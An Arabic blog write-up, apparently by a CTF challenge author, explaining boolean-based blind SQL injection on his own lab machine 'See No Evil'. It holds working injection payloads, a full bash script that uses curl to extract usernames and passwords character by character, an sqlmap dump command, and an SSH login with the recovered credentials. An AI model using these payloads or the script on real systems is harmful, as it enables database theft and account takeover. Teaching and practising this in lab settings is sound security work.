أمن التطبيقات - Application Securityامن وحماية تطبيقات الويبمواضيع ومقالات

شرح ثغرات Boolean Based SQL injection – تحدي SeeNoevil من CodeRed CTF

لقد قمت بشرح ثغرة Blind SQL Injection – Boolean Based في احد مؤتمرات أمن المعلومات في عمّان وكانت مستوحاه من احد machines على hackthebox وطلب مني منظمو مسابقة CodeRed CTF  وضع احد تحديات ال CTF  على Blind SQLi وتكون مبسطة قدر الامكان. لذلك وضعت تحدي تم تسميته “See No Evil”  بامكانكم تحميله من الرابط في نهاية المقال.

سأقوم بكتابة سلسلة مقالات ميسرة في موضوع SQL Injection الهجوم الخاص بتطبيقات الويب. و سأفتتح هذه السلسة بمقال حول Blind SQL Injection

لترسيخ المفهوم سأعرض كيفية اختراق واستغلال ثغرة Blind SQLi  بشكل يدوي manual وايضا سوف اتطرق بعدها لكيفية اختراقها باستخدام اداة SQLMAP. أنصح القراء الأعزاء بالتقليل قدر المستطاع من استخدام الأدوات الجاهزة والمحاولة قدر الامكان الطرق اليدوية وذلك لترسيخ المفاهيم الأساسية خصوصا في مرحلة التعلم. أيضا هنالك بعض الحالات التي لا تسعفك بها الادوات الجاهزة وعليك باستخدام طرق يدوية بحتة وفهم عميق للثغرة والهجوم المصاحب.

نبدأ بعملية الاستطلاع على التحدي

نلاحظ وجود ports 80,3306,2233  في حالة open

نحاول الان الاستطلاع لتحديد نسخة كل من المداخل المتاحة على هذا التحدي

 

نلاحظ وجود HTTP port 80 and SSH port 2233 و 3306 MYSQL

دائما نبدأ ببروتوكولHTTP ونلاحظ وجود صفحة دخول login

اذا حاولنا ادخال اسم وكلمة سر admin/admin نلحظ رسالة ال الخطأ. لكننا نستنتج من هذه الرسالة أن هنالك اسم مستخدم اسمه

admin. واذا حاولنا اسم مستخدم اخر test نلحظ وجود رسالة خطا مختلفة

سنحاول ادخال او حقن جملة SQL  بجمل صح وخطأ true/false ونلاحظ استجابة تطبيق الويب لها. وهنا جاء مصطلح Blind  حيث أن محتويات قاعدة البيانات لا تظهر يشكل مباشر كما في (union select) على صفحة الويب. لكن يجب ملاحظة التأثير في اختلاف الاستجابة للصفحة او ما يسمى behavior or response   في حالة ارسلنا جملة True  او جملة False

مثال على حقن بجملة true: ‘ or 1=1;#

مثال على حقن بجملة false: ‘ or 1=2;#

فتصبح الجملة كأنها

Select username from users where username=’’ or 1=1;#’. لقد قمنا بارسال اوامر صح-خطأ لذلك سميت Boolean based

حيث أن علامة #  تستخدم في لغة ال SQL  كتعليق comment

 

في الجمل الصحيحة في username نلاحظ وجود رسالة: please enter your correct password

في الجمل الخطأ في username نلاحظ وجود رسالة: Wrong username and password

لذلك يمكن استنتاج ان صفحة الويب متأثرة بثغرة Blind SQLi  بسبب اختلاف استجابة الصفحة في حالات جمل True/False

يمكننا الان تمرير سلسلة طويلة من الاسئلة لتطبيق الويب لنحديد رقم ASCII code لكل حرف في الهدف المراد استخراجه. على سبيل المثال لتحديد اسم DB-name or Table-name معرّف في داخل Database او حتى استخراج المحتوى الكامل في tables

 

في المثال التصويري التالي عرض للفكرة من طرح الاسئلة التي اجابتها نعم او لا True or False  وكيف ممكن استغلالها لاستخراج المعلومات. حيث يقوم الحارس بحماية البرج لكنه يقوم بالرد على الاسئلة ب نعم او لا  – True or False

 

ويجب ان اشير هنا الى  ان اهم اوامر ال SQL  التي يمكن الاستفادة منها في عملية الهجوم المراد في حالة Blind SQLi ويمكنكم الرجوع للتوثيق الخاص بهذه functions في موقع Mysql

  • Important SQL functions:
    • Ascii(char) لتحديد رقم ال ASCII
    • Substring (String, location, num) اختيار حرف معين داخل string
    • Length(‘string’) تحديد طول ال string
    • Concat (string1, string2,…..) دمج اكثر من string

 

وفي الجدول ادناه نجد الكود الخاص لكل حرف. والتي ستسخدم عند طرح الاسئلة على الويب App

 

 

 

لنبدأ اولى خطوات استخراج المعلومات من DB :

  • تحديد طول اسم database name

or  length(database())=3 — – False

or  length(database())=4 — – False

or  length(database())=5 — – TURE

وكما أسلفنا بامكاننا تحديد اذا ما كانت جملة ال SQL  صح ام خطأ من خلال ال error message كما هو موضّح في الصورة ادناه. حيث في حالة True تكون رسالة الخطأ error message: Please enter your correct password  وهكذا نستنتج أن طول اسم DB هو 5

 

 

وبناءا على الطريقة السابقة بامكاننا الان البدء باستكشاف اسم قاعدة البيانات والتي كما عرفنا ان طول الاسم هو 5 احرف !

ونبدأ بفحص الحرف الاول ومقارنته بكود ASCII في الجدول السابق يطريقة bruteforce. ثم نكرر العملية للحرف الثاني ثم الثالث ثم الرابع ثم الخامس. وبهذا بامكاننا تحديد اسم قاعدة البيانات.

الحرف الاول

or ascii(substring(database(),1,1))=97 — – #determine 1st char of DB name – Fase

or ascii(substring(database(),1,1))=98 — – #determine 1st char of DB name – True

           

 

وكما نلاحظ أن او حرف في اسم قاعدة البيانات هو: b

نكرر نفس العملية للحرف الثاني الى الخامس وذلك بتغيير موقع الحرف 2 في substring

 

or ascii(substring(database(),2,1))=97 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=98 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=99 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=100 — – #determine 2nd char of DB name – Fase

or ascii(substring(database(),2,1))=101 — – #determine 2nd char of DB name – Fase

.

.

.

or ascii(substring(database(),2,1))=108 — – #determine 1st char of DB name – True

اذا الحرف الثاني هو l

وبتكرار العملية نستنتج أن اسم قاعدة البيانات هو: blind

 

بنفس هذه المنهجية ايضا بامكاننا تحديد اسم table   باستخدام bruteforce  وممكن ايضا ان نحاول ان نتوقع (guess)  الاسم لتقليل الوقت المستغرق في العملية. على سبيل المثال غالبا ما يكون في كل قاعدة بيانات table  اسمه user or users ولتجربة ذلك بامكاننا ارسال payloads  لفحص ذلك كما يلي:

or (select 1 from testttt limit 1)=1 — – False

or (select 1 from user limit 1)=1 — – False

or (select 1 from users limit 1)=1 — – True

 

وهنا نستنتج أن اسم table  هو users

 

اذا اردنا ان نعرف عدد الاسطر في users table

or (select count(*) from users) > 10 — – False

or (select count(*) from users) > 1 — – true

or (select count(*) from users) > 2 — – true

or (select count(*) from users) > 3 — – False

اذا نستنتج ان عدد الاسطر هو 3. اذا يوجد في الجدول 3 اسماء مستخدم و 3 كلمات سر على ما يبدو

وبنفس الطريقة بامكاننا معرفة عدد columns في جدول users

‘ or   (SELECT count(*) FROM information_schema.columns WHERE table_name = “users”)=3 — –

بالمثل ايضا بامكاننا ان نتوقع اسم columns

 

‘ or substring(concat( 1, (select username from users limit 1)),1,1)=1 — –

‘ or substring(concat( 1, (select password from users limit 1)),1,1)=1 — –

نلاحظ ان عملية استخراج المعلومات في طريقة Blind  طويلة جدا خصوصا في حالة كان حجم قاعدة البيانات كبير. اذا اردنا ايضا استخراج البيانات من الجداول سيتطلب ذلك وقتا كثيرا. لذلك يمكن اتمتة العملية باستخدام customized script  على سبيل المثال لاستخراج محتوى users table

#!/bin/bash

# Filename: Blinder.sh 
# Version: v1.0
# Description: Customized Script to carry out blind SQL injection attack based on manually enumerated info
# By: RamiDarkFlow 

for row in 0 1 2
do


myuser=""


for x in {1..32} # username char location in the payload

do

for i in {1..127} #check ASCII code number

do 

payload="username=' OR ascii(substring((SELECT username from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login"

curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d  ''"$payload"'  -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out

cond=`grep please file.out`

status=$?


if [ $status != 0 ]

then 
char=`printf "\x$(printf %x $i)"`

if [ $i == 1 ]
then
break;
fi

myuser="$myuser$char"
#echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)";

printf "." 

break;
fi
done
done
mypass=""

for x in {1..32} # pssword char location in the payload

do

for i in {1..127} #check ASCII code number

do 

payload="username=' OR ascii(substring((SELECT password from users limit $row,1),$x,1))>$i -- -&password=test&submit=Login"

curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d  ''"$payload"'  -X POST -H "Content-Type: application/x-www-form-urlencoded' http://192.168.8.102/index.php 2> /dev/null -o file.out

cond=`grep please file.out`

status=$?


if [ $status != 0 ]

then 
char=`printf "\x$(printf %x $i)"`

if [ $i == 1 ]
then
break;
fi

mypass="$mypass$char"
#echo -n "Digit$x: ASCII= $i and char is ";printf "\x$(printf %x $i)";

printf "." 

break;
fi
done
done
printf "\n" 
echo "The username is: $myuser"
echo "The Password is: $mypass"
done

 

وعند التنفيذ نسطيع استخراج محتوى table

 

 

  • يمكن ايضا استخدام اداة sqlmap لاستخراج معلومات قاعدة البيانات لكنني فضلت توضيح العملية بشكل يدوي. اذا اردنا استخدام sqlmap  يجب الاحاطة بخيار string كما يلي:
sqlmap -u http://192.168.8.102/index.php --data="username=admin&password=test&submit=Login" -p username --dbms mysql --dump --
string="please" --batch

حسنا, لدينا الان مجموعة حسابات ممكن تجربتها عبر SSH  للدخول للجهاز. وعند التجربة نجد أن الاسم rcode  يمكن له الدخول وأخذ shell access

ssh –p2233 [email protected]

 

بمكاننا الان الحصول على root  عن طريق sudo  كما هو مبين ادناه

 

 

بامكانكم تحميل SeeNoEvil من الرابط التالي نسخة virtualbox

https://drive.google.com/file/d/1TVSY6cebL937wNJnOWnu9b3hPWI0YI6i/view

 

 

 

 

رامي أحمد

مهندس واداري من الأردن متخصص بامن المعلومات واختبار الاختراق لتطبيقات الويب و IT Infrastructure. عمل في عدة مجالات منها ادارة الانظمة Linux وحماية أمن الشبكات وأيضا تطبيق المعايير العالمية في أمن المعلومات. حاصل على عدة شهادات منها OSCP & RHCE

مقالات ذات صلة

‫6 تعليقات

  1. شكرا على الشرح الرائع جدا استفدت منه جدا

    بنسبه للSeeNoEvil.ova بعد تحميله عل الVirtualBox بيطلب localhost.localdomain login ماهي ؟

  2. شرح جميل و وافي و مبسط . الله يعطيك العافيه . ارجو التكرم بامدادي بروابط باقي مقالاتك و شروحاتك مهندسنا الفاضل

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى